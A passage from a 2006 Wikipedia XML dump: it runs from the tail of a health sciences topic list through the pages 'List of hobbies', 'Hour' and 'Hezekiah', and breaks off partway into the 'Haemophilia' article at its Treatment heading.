== [[Pancreas]] ==
*[[Pancreatitis]]
*[[Diabetes]]
*[[Carcinoma of pancreas]]
*[[Cystic fibrosis]] and the pancreas

== Obstetrics and Gynaecology ==
*[[Child birth]]
*[[Cesarean section]]
*[[Pre-eclampsia]]
*[[Amniocentesis]]
*[[Chorionic villus biopsy]]
*[[Home birth]]
*[[Premature labour]]
*[[Miscarriage]]
*[[Abortion]]
*[[Abruption]]
*[[Placenta praevia]]
*[[Hydatiform mole]]

== Renal ==
*[[Pyelonephritis]]
*[[Glomerulonephritis]]
*[[Polycystic kidney disease]]
*[[Renal carcinoma]]
*[[Renal failure]]
*[[Renal dialysis]]
*[[Test of renal function]]
*[[Kidney stones]]

== Urology and Andrology ==

== [[Rheumatology]] ==

== [[Neurology]] ==
*[[Cerebral palsy]]
*[[Mental retardation]]

== [[Psychiatry]] ==

== [[Dermatology]] ==
*[[Eczema]]
*[[Contact dermatitis]]
*[[Psoriasis]]
*[[Lichen simplex chronicus]]
*[[Seborrhoeic dermatitis]]
*[[Ring worm]]
*[[Tinea]]
*[[Vitiligo]]
*[[Baldness]]
*[[Lichen planus]]
*[[Viral warts]]
*[[Impetigo]]
*[[Seborrheic keratosis]]

== [[Oncology]] ==

== [[Ophthalmology]] ==

== [[Palliative care]] ==

== Surgical specialties ==
*[[Neurosurgery]]
*[[Ear nose and throat]]
*[[Ophthalmology]]
*[[Head and neck.]]
*[[Thoracic]]
*[[Abdominal and colo-rectal]]
*[[Orthopaedics]]
*[[Trauma surgery]]
*[[Plastic surgery]]

== Diagnostic specialities ==
*[[Radiology]]
*[[Nuclear Medicine]]
*[[Anatomical pathology]]
*[[Forensic Pathology]]
*[[Microbiology]]
*[[Haematology]]
*[[Biochemical pathology]]
*[[Immunology]]

[[Category:Health sciences]]
[[Category:Lists of basic topics|Health sciences]]</text>
    </revision>
  </page>
  <page>
    <title>List of hobbies</title>
    <id>14003</id>
    <revision>
      <id>42096269</id>
      <timestamp>2006-03-03T20:24:55Z</timestamp>
      <contributor>
        <ip>144.211.195.111</ip>
      </contributor>
      <comment>/* [[Arts and Crafts]] */</comment>
      <text xml:space="preserve">This is a '''list of [[hobby|hobbies]]'''.

==[[Animal]]-related==
* [[Fancy (animal breeding)]] - Keeping [[pet]] or [[show dog|show]] animals
* Animal rescue (injured or orphaned wild or domestic animals)
* [[Beekeeping]]
* [[Dog breeding]]
* [[Herpetoculture]]
* [[Horses]]

==[[Aquariums]]==
* [[self-Maintaining Home Aquarium]]

==[[Arts and Crafts]]==
* [[Blacksmith]]ing
* [[Crochet]]
* [[Dollhouse]]s 
* [[Doll making]]
* [[Drawing]]
* [[Embroidery]]
* [[Enamelling|Enamels]]
* [[Glassblowing]]
* [[Knifemaking]]
* [[Knitting]]
* [[Miniature figures]]
* [[Origami]]
* [[Painting]]
** [[Figure painting (hobby)]]
** [[Tole painting]]
** [[Watercolor]]
* [[Pottery]]
* [[Quilting]]
* [[Scrapbooking]]
* [[Sculpture]]
* [[Sewing]]
* [[Stained glass]]
* [[Stamping]]
* [[Warm glass]]
* [[Weaving]]
* [[Wood carving]]
* [[Woodworking]]

==[[Chemistry]]==
* [[Chemistry|Chemical experiments]]
* [[Fireworks]]

==[[Collecting]]==
* [[Antiques]]
* [[Artwork]]
* [[Ashtray]]s
* [[Autograph]]s
* Beer [[Aluminium_can|Can]]s
* [[Book]]s
* [[Bottle]]s
* [[Calendar]]s
* [[Candlestick]]s
* [[conifer cone]]s
* [[Crown_Cork|Bottle caps]]
* [[Christmas]] accessories
* [[Cigarette card]]s
* Classic [[videogame]]s
* [[Clock]]s
* [[Coaster]]s
* [[Coin collecting|Coin]]s
* [[Collecting fossils]]
* [[Comic book]]s
* [[Currency]]
* [[Dice]]
* [[Dumpster diving]]
* [[Enamel]]s
* [[Found objects]]
* [[Hat]]s
* [[Keychain]]s
* [[Lighter]]s
* [[Lunchbox]]es
* [[Microchip]]s 
* [[Miniature models]]
* [[Patch]]es
* [[Phillumenism]], i.e. collecting [[matchbook]]s and [[matchbox]]es
* [[Photograph]]s
* [[Poker]] Chips
* [[Postcard]]s 
* [[Poster]]s
* [[Quotes]]
* [[gramophone record|Records]]
* [[Rockhounding|Collecting Rocks and Minerals]]
* [[Scale model]]s
* [[Scissor]]s
* [[Shopping list]]s
* [[Shot glass|Shot glasses]]
* [[Souvenir]]s
* [[Spoon]]s
* [[Stamp collecting|Stamps]]
* [[Sword]]s
* [[Teddy bear]]s
* [[Thimble]]s
* [[Trading card]]s such as [[baseball card]]s
* [[Wine label#Collecting_wine_labels | Wine labels]]
* [[Yardstick]]s

==[[Computer]]-related==
* [[3D computer graphics]] design
* [[Animation]] design
* [[Computer game]]s
* [[Computer programming]]
** [[Open source]] and the [[free software movement]]
* [[Operating system]]s, e.g. [[Linux|GNU/Linux]]
* [[Photoshopping]]
* [[Retrocomputing]]

==[[Cooking]]==
Any food/drink you feel like making

==[[DIY]] (Do It Yourself)==
* [[Home Repair]]s

==[[Electronics]]==
* [[Amateur radio]] and [[CB radio]]
* [[DIY audio]]
* [[Electronics|Designing and building electronic circuits]]
* [[Hardware hacking]]
* [[Robots]]
* [[TV-FM_DX|TV and FM DXing]]

==[[Fan fiction]]==
* [[Slash fiction]]

==[[Film]]-making==
* [[Animation]]

==[[Game]]s==
* [[Board games]]
** [[Backgammon]]
** [[Checkers]]
** [[Chess]]
** [[Chinese Checkers]]
** [[Go (board game)|Go]]
** [[Monopoly]]
** [[Pente]]
** [[Rummikub]]
** [[Scrabble|Tournament Scrabble]]
** [[Stratego]]
* [[Card game]]s
** [[Bridge game|Bridge]]
** [[Poker]]
** [[Backgammon]]
** [[Gin rummy]]
* [[Dominoes]]
* [[Role-playing game]]s
* [[Wargaming]], sometimes with [[Miniature wargaming|miniatures]]

==[[Geofiction]], including [[Micronationalism|model nations]]==

==[[Historical reenactment]], as in the [[Society for Creative Anachronism]]==

==[[Homebrewing]]==

==[[Interactive fiction]]==

==[[Internet]]-based hobbies==
* [[43things.com]]
* [[Blog]]ging
* [[BookCrossing]]
* [[Currency bill tracking]]
* [[Geocaching]] a modern day form of treasure hunting
* [[Google Whacking]]
* [[GPS drawing]]
* [[Newsgroups]]
* [[Wikipedia]]

==[[Literature]]==
* [[Constructed languages]] (''conlanging'')
* [[Learning foreign languages]]
* [[Reading (activity)|Reading]]
* [[Writing]]

==[[Machining]]==
* [[Model engineering]]

==[[Model (physical)|Model]] ([[scale model]]) building==
* [[Live steam]] models
* [[Matchstick models]]
* [[Military model]]s
* [[Model aircraft]] -- civil and military
* [[Model car]]s, including [[radio-controlled car]]s
* [[Model commercial vehicle]]s
* [[Model engineering]]
* [[Model house]]s
* [[Model figure]]s -- historical and military
* [[Model military vehicle]]s -- including armored vehicles
* [[Micronationalism|Model nation]]s
* [[Model railway|Model railways/railroads]]
** [[Backyard railroad]]s
* [[Model rocket]]s 
* [[Ship model|Model ships]] -- civil and military

==Motor vehicles==
* [[Antique car]]s
* [[Car washing techniques|Car washing]]
* [[Kit car]]s
* [[Motorcycle]]s
* [[Off-roading]]
* [[Truck]]s

==[[Music]]==
* [[Musical composition]] and [[MIDI composition]]
* [[Singing]] and playing [[musical instrument]]s

==[[Observation]]==
* [[Amateur astronomy]]
* [[Geyser|Geyser gazing]]
* [[Metrophile|Metrophilia]]
* Transport [[spotting]]
** [[Aircraft spotting]]
** [[Bus spotting]]
** [[Train spotting]]

==Outdoor nature activities==
* [[Backpacking (wilderness)|Backpacking]]
* [[Birdfeeding]], [[birding]], and [[birdwatching]]
* [[Butterfly watching]]
* [[Camping]]
* [[Caving]]
* [[Canoeing]] and [[kayaking]]
* [[Gardening]], including [[forest gardening]], [[organic gardening]], [[wildlife gardening]], and [[permaculture]]
* [[Hiking]]
* [[Geocaching]]
* [[Kite flying]] 
* [[Mountain climbing]]
* [[Rafting]]
* [[Rock climbing]]
* [[Rockhounding]] (rock and mineral hunting/collecting)
* [[Skiing]]
* [[Stone skipping]]
* [[SCUBA diving]]
* [[Walking]]

==[[Performing arts]]==
* Amateur [[theater]]
* [[Dancing]]
* [[Magic (illusion)|Magic]] tricks
* [[Singing]]

==[[Photography]]==
* [[Darkroom]] work, i.e developing films and enlarging photos in [[black-and-white]] or color
* [[Kite aerial photography]]

==[[Physics]] demos or experiments==

==[[Puzzle]]s==
* [[Crossword puzzle]]s
* [[Jigsaw puzzle]]
* [[Word seek puzzle]]s

==Research-related==
* [[Genealogy]]
* [[Hagiography]]

==[[Refurbishment|Restoration (refurbishing)]]==
* [[Antiques|antique]] machinery
* Early [[computer]]s
* [[House]]s
* [[Sailboat]]s, early motorized boats

==[[Sports]] or other physical activities==
* [[Archery]]
* [[Baseball]], [[softball]], and [[rounders]]
* [[Basketball]]
* [[Bowling]]
* [[Cycling]]
* [[Dance]]
* [[Fantasy sports]]
* Freshwater and [[ocean|saltwater]] [[Sport fishing|fishing]], including [[fly fishing]]
* [[Football]]
* [[Football (soccer)]]
* [[Gliding]]
* [[Golf]]
* [[Hunting]]
* [[Martial Arts]]
* [[Racquetball]]
* [[Sailing]]
* [[Shooting]] [[rifle]]s, [[pistol]]s, and [[shotgun]]s
* [[Table tennis]] where the level of play isn't really hindered by advanced age
* [[Tennis]]
* [[Ultimate (sport)|Ultimate]]
* [[Volleyball]]

==[[Toy]]s of some sophistication==
* [[LEGO]], including [[Brikwars]], and [[Lego Mindstorms]]
* [[Radio control]] toys

[[Category:Hobbies|*]]

[[mk:Листа на хобија]]
[[ja:趣味の一覧]]
[[simple:List of hobbies]]
[[fi:Luettelo harrastuksista]]
[[ta:பொழுதுபோக்குகளின் பட்டியல்]]
[[tr:Hobiler]]</text>
    </revision>
  </page>
  <page>
    <title>Hour</title>
    <id>14004</id>
    <revision>
      <id>35973111</id>
      <timestamp>2006-01-20T17:02:56Z</timestamp>
      <contributor>
        <username>Snaxe920</username>
        <id>404763</id>
      </contributor>
      <comment>took off disambig</comment>
      <text xml:space="preserve">The '''hour''' (symbol: h) is a unit of [[time]]. It is not an [[SI]] unit but is accepted for use with the SI.

==Definition==
In modern usage, an '''hour''' is a [[Unit of measurement|unit]] of [[time]] 60 [[minute]]s, or 3,600 [[second]]s in length. It is approximately 1/24 of a median [[Earth]] [[day]].

There is also the '''hour of [[right ascension]]''', a unit of both time and [[angle]].

==History==

The hour was originally defined in ancient civilisations (including those of Egypt, Sumeria, India and China) as either one twelfth of the time between sunrise and sunset or one twenty-fourth of a full day. In either case the division reflected the widespread use of a [[duodecimal]] numbering system (counting with each thumb the spaces between the joints of the other finger on the same hand, i.e. 3 x 4 = 12) and the equally widespread tendency to make analogies among sets of data (12 months, 12 zodiacal signs, 12 main compass points, 12 hours, a dozen).

Earlier definitions of the hour varied within these parameters:
* One twelfth of the time from sunrise to sunset. As a consequence, hours on summer days were longer than on winter days, their length varying with [[latitude]] and even, to a small extent, with the local weather (since it affects the [[Earth's atmosphere|atmosphere]]'s index of [[refraction]]). For this reason, these hours are sometimes called ''temporal'' or ''unequal hours''. [[Rome|Romans]] and [[Greece|Greeks]] used this definition; so did the ancient Chinese and Japanese. 
&lt;!-- Please, explain why is relevant and recast it in English:
When Old Testment was wrote we can read in chapter of Isaiah 38:8  :&quot;Behold, I will bring again the shadow of the degrees, which is gone down in the sundial of Ahaz, ten degrees backward. So the sun returned ten degrees, by which degrees it was gone down.&quot; --&gt;
The Romans and Greeks also divided the night into three or four night watches, but later the night (the time between sunset and sunrise) was also divided into twelve hours. When, in post-classical times, a [[clock]] showed these hours its period had to be changed every morning and evening (for example by changing the length of its pendulum), or it had to keep to the position of the Sun on the ecliptic (see [[Prague Astronomical Clock]]).
* One twenty-fourth of the [[solar time|apparent solar day]] (between one noon and the next, or between one sunset and the next). As a consequence hours varied a little, as the length of an apparent solar day varies throughout the year. When a clock showed these hours it had to be adjusted a few times in a month.
* One twenty-fourth of the mean solar day. See [[solar time|mean sun]] for more information on the difference to the apparent solar day. When an exact clock showed these hours it virtually never had to be adjusted. However, as the Earth's rotation slows down, this definition has been abandoned. See [[UTC]].

== Counting hours ==
The definition of the hour arose with its own starting point for counting the hours.
* In ancient and medieval cultures, in which the division between night and day mattered far more than in societies with widespread use of artificial light, the counting of hours started with sunrise. So sunrise was always exactly at the ''beginning'' of the first hour, noon at the end of the sixth hour and sunset exactly at the end of the twelfth hour. This meant that the length of hours varied with the season.
* In so-called ''Italian time'' the first hour started at sunset (or the end of dusk, i. e., half an hour after sunset, depending on local custom). The hours were numbered from 0 to 23. So the Sun rose at, for instance, Lugano in December around 14:46 and noon was around 19:23; in June the Sun rose at 7:51 and noon was around 15:55. Sunset was always at 24:00. This manner of counting hours had the advantage that everyone could easily read the clock to see how much time they had to finish their day's work without artificial light. It was introduced in [[Italy]] during the [[14th century]] and lasted until the mid-[[18th century]], or in some regions until the mid-[[19th century]]. It was also used in [[Poland]] and [[Bohemia]] until the [[17th century]].
* In the modern [[12-hour clock]] counting the hours starts at midnight and restarts at noon. Hours are numbered 12, 1, 2, ..., 11. [[solar time|Solar noon]] is always close to 12 noon, differing according to the [[equation of time]] (by up to about fifteen minutes either way). At the [[equinox]]es sunrise is around 6 [[A.M.]] (''ante meridiem'', ''before noon''), and sunset around 6 [[P.M.]] (''post meridiem'', ''after noon'').
* In the modern [[24-hour clock]] counting the hours starts at midnight and hours are numbered from 0 to 23. Solar noon is always close to 12:00 (again differing according to the equation of time). At the equinoxes sunrise is around 06:00 and sunset around 18:00.

Sunrise and sunset are much more conspicuous points in the day than noon or midnight; starting to count then was, for most people in most societies, much easier than starting at noon or midnight. However, with modern astronomical equipment (and the telegraph or similar means to transfer a time signal in a split-second), this issue is much less relevant.

[[Sundial]]s often show the hour length and count according to some of the older definitions and countings.

== See also ==

*[[Prague Astronomical Clock]]
*[[canonical hours]]
*[[1 E3 s|times from 1 kilosecond to 10 kiloseconds]]

[[Category:Units of time]]
&lt;!-- The below are interlanguage links. --&gt;

[[ar:ساعة]]
[[bg:Час]]
[[ca:Hora]]
[[cs:Hodina]]
[[da:Time (enhed)]]
[[de:Stunde]]
[[el:Ώρα]]
[[es:Hora]]
[[eo:Horo]]
[[eu:Ordu]]
[[fr:Heure (temps)]]
[[fy:Oere]]
[[gl:Hora]]
[[ko:시간 (단위)]]
[[hr:Sat]]
[[it:Ora (unità di misura)]]
[[he:שעה]]
[[la:Hora]]
[[nl:Uur]]
[[ja:時間 (単位)]]
[[no:Time (tidsenhet)]]
[[nn:Time]]
[[pl:Godzina]]
[[pt:Hora]]
[[simple:Hour]]
[[sk:Hodina]]
[[sl:Ura]]
[[sr:Сат]]
[[fi:Tunti]]
[[sv:Timme]]
[[th:ชั่วโมง]]
[[vi:Giờ]]
[[tr:Saat]]
[[zh:小时]]</text>
    </revision>
  </page>
  <page>
    <title>Hezekiah</title>
    <id>14005</id>
    <revision>
      <id>41692279</id>
      <timestamp>2006-03-01T02:26:20Z</timestamp>
      <contributor>
        <ip>67.10.49.120</ip>
      </contributor>
      <comment>/* Religious reforms */</comment>
      <text xml:space="preserve">'''Hezekiah''' ([[Hebrew language|Hebrew]]: &amp;#1495;&amp;#1494;&amp;#1511;&amp;#1497;&amp;#1492; or &amp;#1495;&amp;#1494;&amp;#1511;&amp;#1497;&amp;#1492;&amp;#1493;, &quot;God has strengthened&quot;) was king of [[kingdom of Judah|Judah]], the son of [[Ahaz]] and [[Abi]] ([[Books of Kings|2 Kings]] 18:1-2) or [[Abia|Abijah]] ([[Books of Chronicles|2 Chronicles]] 29:1). He reigned twenty-nine years (''2 Kings'' 18:2). 

[[William F. Albright]] has dated his reign to [[715 BCE]]-[[687 BCE]], while [[E. R. Thiele]] offers the dates [[716 BCE]]-[[687 BCE]].

== Life ==
The account of this king in the [[Hebrew Bible]] is contained in ''2 Kings'' 18-20, ''[[Book of Isaiah|Isaiah]]'' 36-39, and ''2 Chronicles'' 29-32. These sources portray him as a great and good king, following the example of his great-grandfather [[Uzziah of Judah|Uzziah]]. He introduced religious reform, reinstated religious traditions. He set himself to abolish idolatry from his kingdom, and among other things which he did for this end, he destroyed the &quot;[[Nehushtan|brazen serpent]],&quot; which had been relocated at [[Jerusalem]], and had become an object of idolatrous worship. A great reformation was wrought in the kingdom of Judah in his day (''2 Kings'' 18:4; ''2 Chronicles'' 29:3-36). The author of ''2 Kings'' ends his account of Hezekiah with praise (18:5).

Between the death of [[Sargon II|Sargon]], and the succession of his son [[Sennacherib]], Hezekiah sought to throw off his dependence to the [[Assyria]]n kings. He refused to pay the tribute enforced on his father, and &quot;rebelled against the king of Assyria, and served him not,&quot; but entered into a league with [[Egypt]] (''Isaiah'' 30; 31; 36:6-9). This led to the invasion of Judah by [[Sennacherib]] (''2 Kings'' 18:13-16) in the 4th year of Sennacherib ([[701 BC]]). Hezekiah anticipated the Assyrian invasion, and made at least one major preparation: in an impressive engineering feat, a tunnel 533 meters long was dug in order to provide [[Jerusalem]] underground access to the waters of the [[Spring of Gihon]], which lay outside the city. (The work is described in the [[Siloam Inscription]], which has been dated to his reign on the basis of its script). At the same time, a wall was built around the [[Pool of Siloam]], into which the waters from the spring flowed (''Isaiah'' 22:11). An impressive vestige of this structure is the broad wall in the [[Jewish Quarter]] of the [[Old City of Jerusalem]]. 

&quot;When Hezekiah saw that [[Sennacherib]] had come, intent on making war against Jerusalem, he consulted with his officers and warriors about stopping the flow of the springs outside the city ... for otherwise, they thought, the King of Assyria would come and find water in abundance&quot; (''2 Chronicles'' 32:2-4). Sennacherib records on his monumental inscription, &quot;The Prism of [[Sennacherib]]&quot;, how in his campaign against Hezekiah (&quot;''Ha-za-qi-(i)a-ú''&quot;) he took 46 cities in this campaign (column 3, line 19 of [[Taylor prism]]), and besieged Jerusalem (&quot;''Ur-sa-li-im-mu''&quot;) with earthworks. Eventually Hezekiah saw Sennacherib's determination, and offered to pay him three hundred [[talent (weight)|talent]]s of silver and thirty of gold in tribute, despoiling the [[Temple in Jerusalem|Temple]] to produce the promised amount (18:14-16).

The narrative in the Bible states Sennacherib invaded Judah (''Isaiah'' 33:1; ''2 Kings'' 18:17; ''2 Chronicles'' 32:9; ''Isaiah'' 36) and [[Assyrian Siege of Jerusalem|besieged Jerusalem]]. According to the Biblical accounts, this invasion ended in the destruction of Sennacherib's army, when Hezekiah prayed to God and &quot;that night the angel of the Lord went out, and smote in the camp of the Assyrians 185,000 men.&quot; The author of the ''Books of Kings'' remembers to include the fact that (19:37), seventeen years later, [[Sennacherib]] was assassinated by his sons [[Adrammelech]] and [[Sharezer]], and [[Esarhaddon]] became the Assyrian king. There is also a less miraculous account from the Assyrian side, that Sennacherib raised his siege of Jerusalem after Hezekiah acknowledged [[Sennacherib]] as his overlord and paid him tribute.

The narrative of Hezekiah's sickness and miraculous recovery is found in ''2 Kings'' 20:1, ''2 Chronicles'' 32:24, ''Isaiah'' 38:1. Various ambassadors came to congratulate him on his recovery, among them [[Merodach-baladan]], the king of [[Babylon]] (''2 Chronicles'' 32:23; ''2 Kings'' 20:12).

==Religious reforms==
King Hezekiah introduced substantial religious reforms during his reign. They included the following:
*Hezekiah renewed worship of Adonai, the Israelite God.
*He abolished idol worship which had resumed under his father's reign. He abolished the shrines and smashed the pillars and cut down the sacred post. He also broke into pieces the bronze serpent which Moses had made, for until that time the Israelites had been offering sacrifices to it &quot;(2 Kings 18:4). 
* He resumed the Passover pilgrimage and the tradition of inviting the scattered tribes of Israel to take part in a Passover festival (Chronicles 30:13, 26.

== Seals ==
Two distinct classes of seal impressions have been found in modern [[Israel]] relating to King Hezekiah:

*[[LMLK seal]]s on storage jar handles, excavated from strata formed by [[Sennacherib]]'s destruction as well as immediately above that layer suggesting they were used throughout his 29-year reign (Grena, 2004, p. 338)

*[[Bullae]] from sealed documents, some that may have belonged to Hezekiah himself (Grena, 2004, p. 26, Figs. 9 and 10) while others name his servants (''obed'' in Hebrew), all from the antiquities market and subject to authentication disputes (see [[Biblical archaeology]])

== Chronological problems ==
There is considerable uncertainty about the actual dates of his reign. First, the Biblical records conflict, as they do for a number of rulers of Israel and Judah. ''2 Kings'' 18:10 dates the fall of [[Samaria]] to the sixth year of Hezekiah's reign, which would make [[728 BCE]] the year of his accession. However, verse 13 of the same chapter states that [[Sennacherib]] invaded Judah in the fourteenth year of Hezekiah; the Assyrian records leave little doubt that this invasion took place in [[701 BCE]], which would fix [[715 BCE]] as Hezekiah's initial year, which would be confirmed by the account of his illness. However, the Assyrian lists are not entirely conclusive of dates since not all scholars agree when the reign of [[Ashurbanipal II]] ended, i.e. [[630 BCE]] or [[627 BCE]]. 

In chapter 18 of ''2 Kings'' it is stated that during the 14th year of his reign, Sennacherib had returned to pillage Samaria, setting up his base of operations at [[Lachish]] and threatening Jerusalem, forcing Hezekiah to pay tribute. As the description in chapter 20 of Hezekiah's illness immediately follows Sennacherib's departure, this would date his illness to his 14th year, which is confirmed by Isaiah's statement that he will live fifteen more years (29-15=14). His fourteenth year being [[701 BCE]], the first must have been [[715 BCE]].

Another set of calculations show it is probable that Hezekiah did not ascend the throne before [[722 BCE]]. By Albright's calculations, [[Jehu]]'s initial year is [[842 BCE]]; and between it and Samaria's destruction the ''Books of Kings'' give the total number of the years the kings of Israel ruled as 143 7/12, while for the kings of Judah the number is 165. This discrepancy, amounting in the case of Judah to 45 years (165-120), has been accounted for in various ways; but every one of those theories must allow that Hezekiah's first six years as well as [[Ahaz]]'s last two fell before [[722 BCE]]. Nor is it clearly known how old Hezekiah was when called to the throne, although ''2 Kings'' 18:2 states he was twenty-five years of age. His father (''2 Kings'' 16:2) died at the age of thirty-six; it is not likely that Ahaz at the age of eleven should have had a son. Hezekiah's own son [[Manasseh of Judah|Manasseh]] ascended the throne twenty-nine years later, at the age of twelve. This places his birth in the seventeenth year of his father's reign, or gives Hezekiah's age as forty-two, if he was twenty-five at his ascension. It is more probable that Ahaz was twenty-one or twenty-five when Hezekiah was born (and suggesting an error in the text), and that the latter was thirty-two at the birth of his son and successor, Manasseh.

Still another date is possible by astronomical calculations. ''2 Kings'' 20:8-11 speaks obscurely about &quot;the shadow&quot; moving &quot;ten degrees&quot; during the above mentioned illness of Hezekiah (as does ''Isaiah'' 38:7f). Professor [[Aurel Ponori-Thewrewk]], retired director of the planetarium of [[Budapest]], [[Hungary]], may have been the first scholar to offer an astronomical explanation for this passage; observing that new [[Bible]] translations use &quot;the sundial of Ahaz,&quot; while other Bibles &quot;the stairway of Ahaz,&quot; he states that the original Hebrew text says ''ma(c)alóth'', the plural of ''ma(c)alah''. Therefore, his conclusion is that it had a double meaning: while it refers to the steps over which the shadow has already passed, it may have meant the instrument (?) of Ahaz which had obviously contained more than ten units, and on which Hezekiah could observe the movement of the sun's shadow. But whatever was the original meaning of the Hebrew word, Ponori-Thewrewk says, the shadow had made an abnormal movement on it. He imagines a pole or [[gnomon]] that casts a shadow on a plane that is perpendicular to it. The shadow can move ahead for a while, then it can move backward on that plane.

[[John D. Davis]], ''Davis dictionary of the Bible'' (Baker Book House, 1975: 184) confirms the possibility that ''2 Kings'' 20:11 and ''Isaiah'' 38:8 may be explained by a [[solar eclipse]], and the stairway of Ahaz may have been a [[sundial]] with a projecting [[gnomon]] to cast a shadow. The foretold backward position of the sun's shadow, could have been caused by an eclipse of the sun, probably on [[May 6]], [[724 BCE]]. This eclipse took place between 6:09 and 8:24 a.m., its maximum was 64.3% at 7:15 a.m. This would then date Hezekiah's first year as king to [[738 BCE]], and his last to [[709 BCE]]. It is possible that ''Isaiah'' (38: 7-8) had been informed beforehand by an astronomer, perhaps by one of Merodach-baladan's envoys, about the expected date of a solar eclipse on [[May 6]], so Isaiah comforted the king on [[May 3]].

An alternative interpretation of Hezekiah's reign spans [[727 BCE]]-[[698 BCE]] with [[Manasseh]] co-reigning for some years as a teenager. This attempts to harmonize the reference to Hezekiah reigning during the conquest of [[Samaria]] (''2 Kings'' 18:9-10), and assumes the reference to [[Sennacherib]]'s attack in 701 was either a second campaign or that the reference to it being in Hezekiah's 14th year is a corruption.

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br&gt;'''[[Ahaz]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Kingdom of Judah|King of Judah]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Succeeded by:&lt;br&gt;'''[[Manasseh of Judah|Manasseh]]'''
|}

==Resources==
* {{cite book | last = Grena | first =  G.M. | year = 2004 | title = LMLK—A Mystery Belonging to the King vol. 1 | publisher = Redondo Beach, California: 4000 Years of Writing History | id = ISBN 0-9748786-0-X }}
* {{cite book | last = Austin | first = Lynn | title = Gods And Kings | id = ISBN 0764229893 }} a fictionalized account of Hezekiah's rise to power, Book 1 in Austin's &quot;Chronicles of the Kings&quot; series

== External links ==
*[http://www.kingscalendar.com/bible_dates_research/Research_bible_dates_viewnews_id_163.html  Hezekiah King Of Judah - The King's Calendar]
*[http://jeru.huji.ac.il/eb34l.htm King Hezekiah] from Jerusalem Mosaic
*[http://www.allaboutgod.com/truth-topics/hezekiah.htm Hezekiah] See all Bible verses pertaining to King Hezekiah

[[Category:687 BC deaths|687 BCE deaths]]
[[Category:Kings of ancient Judah]]

[[ca:Ezequies]]
[[de:Hiskija]]
[[fr:Ézéchias]]
[[he:חזקיהו המלך]]
[[nl:Hizkia]]
[[no:Hiskia]]
[[zh:希西家]]</text>
    </revision>
  </page>
  <page>
    <title>Haemophilia</title>
    <id>14006</id>
    <revision>
      <id>41941871</id>
      <timestamp>2006-03-02T19:57:39Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Haemophilia |
  ICD10       = D66 |
  ICD9        = {{ICD9|286}} |
}}
&lt;!--Please note that any attempt to change the spelling to US English will be reverted unless consensus is first sought on the talk page--&gt;
'''Haemophilia''' or '''hemophilia''' is the name of any of several [[heredity|hereditary]] [[genetic illness]]es that impair the body's ability to control [[hemorrhage|bleeding]]. Genetic deficiencies (or, very rarely, an [[autoimmune disorder]]) cause lowered plasma [[clotting factor]] activity so as to compromise blood-clotting; when a blood vessel is injured, a scab will not form and the vessel can continue to bleed excessively for a very long period of time. The bleeding can be [[hemorrhage|external]], if the [[skin]] is broken by a scrape, cut or abrasion, or it can be [[internal bleeding|internal]], into muscles, joints or hollow organs.  It might therefore present visibly as skin bruises, or subtly as melena, hematuria, or bleeding in the brain.

==Forms==
*[[Haemophilia A]] - [[factor VIII]] deficiency, &quot;classic haemophilia&quot; (X-linked)
*[[Haemophilia B]] - [[factor IX]] deficiency, &quot;Christmas disease&quot; (X-linked)
*[[Haemophilia C]] - [[factor XI]] deficiency ([[Ashkenazi]] Jews, [[autosomal recessive]])

The unrelated type 1 and type 2 [[von Willebrand disease]] (vWD) are milder than any of the three haemophilias; only type 3 von Willebrand disease expresses a severity similar to the haemophilias. vWD is caused by mutations in the coagulation protein [[von Willebrand factor]]. It is the most common coagulation disorder present in 1% of the population.

==Genetics==
[[Image:XlinkRecessive.jpg|right|X-linked recessive inheritance]] 

Haemophilia A and B are inherited in an [[X-linked recessive]] pattern. They are caused by mutations affecting the genes encoding one of the [[clotting factor]]s. The genes for both [[Haemophilia A]] and [[Haemophilia B]] are located on the [[X chromosome]]; other clotting factor deficiencies exist, but are not X linked resulting in different clinical symptoms.

Females possess two X-chromosomes, whereas males have one X and one [[Y chromosome]]. Since the mutations causing the disease are [[recessive gene|recessive]], a woman carrying the defect on one of her X-chromosomes may not be affected by it, as the equivalent [[allele]] on her other chromosome should express itself to produce the necessary clotting factors. However the Y-chromosome in men has no [[gene]] for factors VIII or IX. If the genes responsible for production of [[factor VIII]] or [[factor IX]] present on a male's X-chromosome is deficient there is no equivalent on the Y-chromosome, so the deficient gene is not masked by the [[autosomal|dominant]] allele and he will develop the illness. 

Since a male receives his single X-chromosome from his mother, the son of a healthy female silently carrying the deficient gene will have a 50% chance of inheriting that gene from her and with it the disease; and if his mother is affected with haemophilia, he will have a 100% chance of being a haemophiliac. In contrast, for a female to inherit the disease, she must receive two deficient X-chromosomes, one from her mother and the other from her father (who must therefore be a haemophiliac himself). Hence haemophilia is far more common among males than females. However it is possible for female carriers to become mild Haemophiliacs due to lyonisation of the X chromosomes. Haemophiliac daughters are more common than they once were, as improved treatments for the  disease have allowed more haemophiliac males to survive to adulthood and become parents. Haemophilia is particularly dangerous in adult females because of the recurring bloodflows involved in [[menstruation]].

As with all genetic disorders, it is of course also possible for a human to acquire it spontaneously ([[de novo]]), rather than inheriting it, because of a new mutation in one of their parents' gametes. Spontaneous mutations account for about 1/3 of all hemophilia A and 1/5 of all hemophilia B cases.  [[Genetic testing]] and [[genetic counseling]] is recommended for families with hemophilia.  [[Prenatal testing]], such as [[amniocentesis]], is available to pregnant women who may be carriers of the condition.

==Probability==
If a female gives birth to a haemophiliac child, she is possibly a carrier for the disease. Until modern direct DNA testing, however, it was impossible to determine if a female with only healthy children was a carrier or not. Generally, the more healthy sons she bore, the higher the probability that she was not a carrier, specifically

&lt;math&gt;P = 1 - \frac{(x!)^2}{(2x)! + (x!)^2}&lt;/math&gt;

where ''x'' is the number of unaffected sons. (More complicated formulae could be used if healthy grandchildren and other relatives were to be taken into consideration.)

It is estimated that about 0.006% percent of the United States population suffers from Haemophilia.

==Table==
Ignoring the possibility of ''de novo'' mutations, the following table shows how people's chances of inheriting hemophilia depend on their sex and their parents' hemophilia-gene status.

[[Image:Haemophilia_table.GIF]]

==Treatment==
